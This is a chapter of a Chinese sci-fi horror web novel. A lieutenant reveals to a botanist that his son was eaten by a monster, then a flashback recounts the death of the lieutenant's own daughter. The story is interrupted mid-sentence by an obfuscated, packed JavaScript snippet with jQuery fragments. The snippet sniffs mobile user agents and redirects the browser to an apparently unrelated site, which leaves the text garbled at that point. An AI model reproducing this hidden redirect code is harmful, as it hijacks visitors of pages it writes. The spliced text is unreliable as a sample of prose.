他咧开嘴,看着那根手指狂笑。血挂在牙齿上,他笑得像个吃人的妖怪。
笑声揉皱了戚许的眉毛,她抬眼看向声音来源,被那截手指吸引了视线。
手指切口不平整,有撕扯的痕迹,切口边缘有鲜红的血渍。
戚许眯了眯眼,不对,那不是血。
如果那真的是人血,经过这么长时间一定会氧化发黑,不可能到现在还保持如此醒目的红色。
“红沙。”戚许出声。
她的话点醒了程虔,他走上前,蹲在陈让尘身边,眼睛对着那根手指看了几秒钟。
“第三代仿生机械手,最新推出的人类应用型号,从尺寸来看,装配这只机械手的人类年龄应该在13至15岁。”程虔的金毛脑袋一歪,目光聚焦在那根手指断裂的边缘,“切口不平整,疑似是大力撕扯造成的。”
中尉呕了口血,嗓子完全哑了,笑不出声,那根手指还捏在手里。他支起身体,嘴角勾起意味深长的笑容,手腕一甩。
那根手指落在植物学家面前。
看到半截手指,植物学家惊叫出声,下意识缩紧身体想要远离。
那根手指在地上晃了两下,程虔的话回荡在耳边。
13至15岁,第三代仿生机械手,大力撕扯……
他突然发疯一样挣脱吴廿的束缚,寒气从头顶灌入身体,惊恐顿时席卷全身,他浑身颤栗,扑向那根手指。
他手指接触到它的前一刻,动作陡然停滞,双眼通红,脸上的每一块肌肉都在颤抖。
他小心翼翼地捧起那根手指,就像在捧起他的绝世珍宝。
“我儿子……”他低声呢喃,“我……我儿子……”
他张着嘴用力呼吸,但就像什么东西堵在胸口,他觉得自己一点空气都吸不进来。
他趴在地上,抬眼看向那个中尉,张口只有气声。
“你……杀……”他话里染上浓重的哭腔,光是说话就耗尽了他全部力气,“你杀了他?”
他跪趴在地,看中尉的眼神从未如此虔诚,只要他否认自己,只要他说“没有”,他什么都愿意做,让他付出什么都可以。
中尉笑容嵌在脸上,他眼睛死死盯着植物学家,直勾勾的,狰狞的脸上透出诡异的享受,那个眼神……
是在欣赏。
他在欣赏这份痛苦,他用眼睛把对面这个男人的五官一一看过,想要看到每根睫毛,每个毛孔,每个细胞,他想要看见它们是如何品味这场痛苦的。
很快,他就觉得不满足了。
不够,还不够,这不是他想要看到的结局。
“不是我。”中尉完全沉醉在植物学家的痛苦里,说话都比刚才有力,“是它。”
中尉扬了扬下巴,植物学家愣怔一瞬,一顿一顿地转过脖子,颈椎像生锈的零件发出吱嘎声响。
那个方向……
那个方向是……
他瞳孔一缩,眼珠子差点从眼眶里掉出来。
是那只飞蛾,被吊在空中,翅膀还一颤一颤的。
那个男人……那个男人说是飞蛾杀了他儿子?!
中尉对他的反应很满意,他高声说:“是的,被它吃掉了。”
他顿了顿,继续说:“但他好像不太喜欢这些金属制品,把胳膊吐出来了。那截手指,是给你留作纪念的。不用谢。”
植物学家双目失神,他咆哮如雷,悲痛呼啸而来,彻底把恐惧淹没。
他踉跄起身,往中尉的方向奔去。吴廿试图拉住他,但在他猛烈的反抗下无济于事。
他冲到中尉面前,陈让尘一把推开他,他跌坐在地,两人之间只隔了两步远的距离。
“为什么……”植物学家挣扎着向他靠近,“为什么!!!”
“你活该!”中尉怒斥,“你夺走了我女儿的生命,我要你和我一样痛苦!”
这一吼,植物学家动作猛地僵住,眼睛艰难地聚焦在中尉脸上,神色茫然。
“你都不记得吧?”中尉苦笑一声,再抬眼看植物学家的时候,眼睛里尽是杀意,“你还记得这只仿生机械手是怎么来的吗?”
这话一出,植物学家脸上的表情出现了裂痕,被遗忘的记忆重新在脑海中复苏。
中尉看他的表情,点了点头:“看来你还记得。”
烽塔科技推出的第三代仿生机械手,是与人类本体协调性最好的机械器官,在前两代的基础上修复了排异反应的问题,无论在外观还是实际使用上都和人类原本的器官无异。
但第三代仿生机械手的数量十分稀缺,制作周期非常久。这款产品甚至没有公开发售,就被有钱有权的人从秘密渠道买走了。
那时候的他还没当上中尉,刚升少尉没多久,偶然听说了第三代仿生机械手的事情。
近年来人类基地受异种污染日益严重,出生的孩子畸形率越来越高,很不幸,他的女儿就是其中之一,她右手天生残疾。
为了拿到第三代仿生机械手的购买名额,他求人无数,数不清看了多少白眼,吃了多少闭门羹,把这些年夫妻俩的积蓄花了个精.光。
终于,他的上司看他可怜,才找朋友帮他买了一个。
他满心欢喜地为女儿安排手术时间,每天坐在她身边,憧憬着她四肢健全,在面前活蹦乱跳的模样。
她会用两只手环住他的脖子,会两只手捏着耳朵做鬼脸,会在做噩梦的时候紧紧抱住他……
她会开心,会为父母感到骄傲……
终于到了手术这一天,她打了麻醉,沉沉睡去,被一众医生护士推进手术室。
他对未来的想象在那瞬间达到顶峰,却没想到,所有美好的幻想在两分钟后彻底破灭。
手术室灯光熄灭,医生拿着几张惨白的纸走出来。
“她没办法替换机械手,体内污染指数超过标准数值了。”医生把那几张纸交到他手里。
“不可能……”他眼睛瞬间失去焦点,检查单上的数值晃悠着闯进他视线,“不可能!前几天检查的时候还好好的!她的污染数值从来没有异常过,这几天也没有接触异种!”
医生摇摇头,他只看数据。
“医生!是不是弄错了,要不……要不我们再检查一次……万一……万一是机器出错了呢?”
“不可能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357726|178671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,少尉先生,测试污染数值的仪器不会出错,您在军区工作,应该很清楚这一点。”医生公事公办的口吻回答,“她需要留院观察,如果污染指数始终无法回到正常水平,我们怀疑……”
他停顿一下,在他们夫妻俩脸上扫了一眼,声音跟着变轻:“我们怀疑有异化风险。”
这句话对他来说堪比五雷轰顶。
周围的所有声音如潮水般退去,他耳朵里只有嗡鸣,医生是什么时候离开的,他不知道,也不关心。
他在军区,跟异种交手无数次,他太知道人类异化的后果是什么。
他曾经亲手把他的教官送进焚烧炉,只是因为他被一朵玫瑰的刺割伤脚踝。
他曾经亲眼看着他的教官脸上长出植物藤蔓,两只眼睛爆裂开来,从人类完全变成怪物。
他不希望女儿变成那样,他甚至没有勇气去想那会是什么模样。他不敢面对女儿醒来后失望的眼睛,也不敢想象她如果真的变成怪物,他该怎么活下去。
提心吊胆地等了几天,他时时刻刻守在病床边,让他觉得安心的是女儿至今为止没有任何变化。
他告诉女儿,是机械手出了问题,等新的机械手做好了就会重新帮她手术。
只有他知道,在女儿无法实施手术的当天,那只机械手就已经被卖给其他人了。
他怪不了任何人,只能怪自己运气不好。
但他还怀着希望,总会有办法的,只要女儿还活着,总会有办法的!
很快就到了她重新做污染数值测试的日子,他买了她最喜欢的蛋糕藏在身后,站在检查室门口等她出来。
比数据先传来的,是女儿跳楼的噩耗。
医生说:“她的污染数值虽然波动不大,但还是超过了标准数值。只是超过一点,其实可以留院观察……”
“但她在看见检查报告的瞬间就崩溃了……我们想拦着,但她动作太快……”
“我们扑过去的时候,她已经……”
“我们很抱歉,请你节哀。”
他没见到女儿的尸体。
因为污染数值超标,她的血液和尸体不能长时间暴露在空气中,他再次见到的女儿,就是焚烧炉里那一捧灰尘。
他不知道的是,就在他跪在那捧灰尘面前痛哭流涕的时候,就在他隔壁的病房里,一个和他女儿年纪一样大的男孩,装上了崭新的第三代仿生机械手。
悲伤是铺天盖地的,没有任何征兆地从生命的各个角落喷涌而出。
那几天,他的眼前只有一片漆黑。
在一个午夜,他坐在女儿的床上,不知道第多少次望向窗外那一小片天空,他终于鼓起勇气问自己那个问题——
为什么?
为什么她会突然污染数值异常?
为什么偏偏在即将更换机械手的时候发现数值异常?
他的心脏第一次这样强有力地跳动着,一个恐怖的念头在脑海中诞生。他无法呼吸,夺门而出。
他用军职强行访问医院资料库,那个恐怖的念头得到了验证。
他的女儿……
污染数值从来都没有超标。